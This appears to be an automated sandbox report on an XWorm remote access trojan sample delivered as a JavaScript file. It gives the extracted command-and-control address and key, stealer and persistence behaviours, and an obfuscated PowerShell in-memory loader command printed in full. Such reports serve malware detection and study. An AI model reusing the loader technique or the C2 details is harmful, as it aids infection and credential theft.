Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/09/2026, 12:23
General
- Target HF1W1Z5K.js
- Size 2.5MB
- Sample260930-pkxkwsty9k
- SHA256 b6a12153debaab5e97179235e3f242aeed695db8a4a3f78f559f31bc6a0616c2
Malware Config
Extracted
-
xworm
-
5.0
-
84.38.129.15:4545
-
wpfrUQhvmQHmDAUY
-
Install_directory
%AppData%
-
install_file
XWormClient.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\HF1W1Z5K.js1⤵
- Reads the TCP/IP host and domain name from the registry
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "$portions=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$oestrogen=[Convert]::FromBase64String($portions);[AppDomain]::CurrentDomain.Load($oestrogen)|Out-Null;[Win32.RMP.Cls_XdCUrBzoik]::Met_XdCUrBzoiksn('Goyw5XlDsmf/I9yvRvYOplvdi44UCPErfiTgDXBFX5mOaQdNmn9+uYlQ3Rubf2iF+XvTh0wVgtrqe6Qdbfti5g==','','QygWMnxvMWDH4KDnLCMF34j9q5jfdX5eT1G8a6Uavsn3OP8b7qxiGTZLUXqDxZ2Y','TsOoLtuOhReoSZeCizcHT8W1n9HGzShPfHgh3Ui5uw8=','KD97RjEG0mXnT5FxTPLpintwbs0NJ95AiJ5xG2cjCY0=','','k1n6ZnlOYJT3kD1UIVdXbNZtcBHhIURzu9IhSKrWfTM=','','4iZu056KSpGo7qqX3SuxP3qpjCRHj0gcFko3pdK8eWE=','iimXV7fGIQ42l3P3ZfwbD1W0TWv6XY2OmAvEHZSuUvjIDpw0HNjRISiu9U8zHuxP','9QD20NKtLyOixuvbuRyG+c32yvhbt+LqEchX9qoFs0c=','JUNQreauCubSqoNuqq77EVHRq8lotvKaPshRexy1Wg4=','wuRx9d/s8e/mZ1VGVQuX0HhuavNdDJG1/m4gO+iOKSI=','','JisJXg4009orpho3Go6ysMH9pKgMc1juxZhbONRkes4=','2nTzuLegKb37BnJiSePnRtTUB07t7uLz4pRKvWS8ncc=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- Creates a file in the Startup directory
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
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C:\Users\Admin\AppData\Roaming\XWormClient.exeC:\Users\Admin\AppData\Roaming\XWormClient.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
XWormClient.exe
memory/1288-39-0x0000000008C10000-0x0000000008D76000-memory.dmp
memory/1288-33-0x0000000007C60000-0x0000000007CC6000-memory.dmp
memory/1288-40-0x0000000008E60000-0x0000000009992000-memory.dmp
memory/1288-21-0x00000000054A0000-0x000000000553C000-memory.dmp
memory/1288-38-0x0000000009E60000-0x000000000ACC4000-memory.dmp
memory/1288-37-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/1288-36-0x0000000007C50000-0x0000000007C56000-memory.dmp
memory/1288-35-0x00000000086B0000-0x000000000872A000-memory.dmp
memory/1288-41-0x00000000084F0000-0x00000000084FA000-memory.dmp
memory/1288-31-0x0000000005E30000-0x0000000005E3A000-memory.dmp
memory/1288-34-0x00000000749E2000-0x00000000749E3000-memory.dmp
memory/1288-42-0x000000000D200000-0x000000000D3C2000-memory.dmp
memory/1288-15-0x0000000000400000-0x0000000000410000-memory.dmp
memory/1288-28-0x0000000005E60000-0x0000000005EF2000-memory.dmp
memory/1288-27-0x00000000060B0000-0x000000000666A000-memory.dmp
memory/1288-19-0x00000000749E2000-0x00000000749E3000-memory.dmp
memory/1288-26-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4144-32-0x0000000000430000-0x0000000000442000-memory.dmp
memory/5824-20-0x000001ADCA8F0000-0x000001ADCA900000-memory.dmp
memory/5824-18-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-17-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-14-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-13-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-0-0x00007FFC62FDF000-0x00007FFC62FE0000-memory.dmp
memory/5824-12-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-10-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-11-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-9-0x000001ADCA840000-0x000001ADCA862000-memory.dmp
memory/5824-8-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-7-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-4-0x000001ADCA800000-0x000001ADCA822000-memory.dmp
memory/5824-6-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-2-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp
memory/5824-1-0x00007FFC62E50000-0x00007FFC637F4000-memory.dmp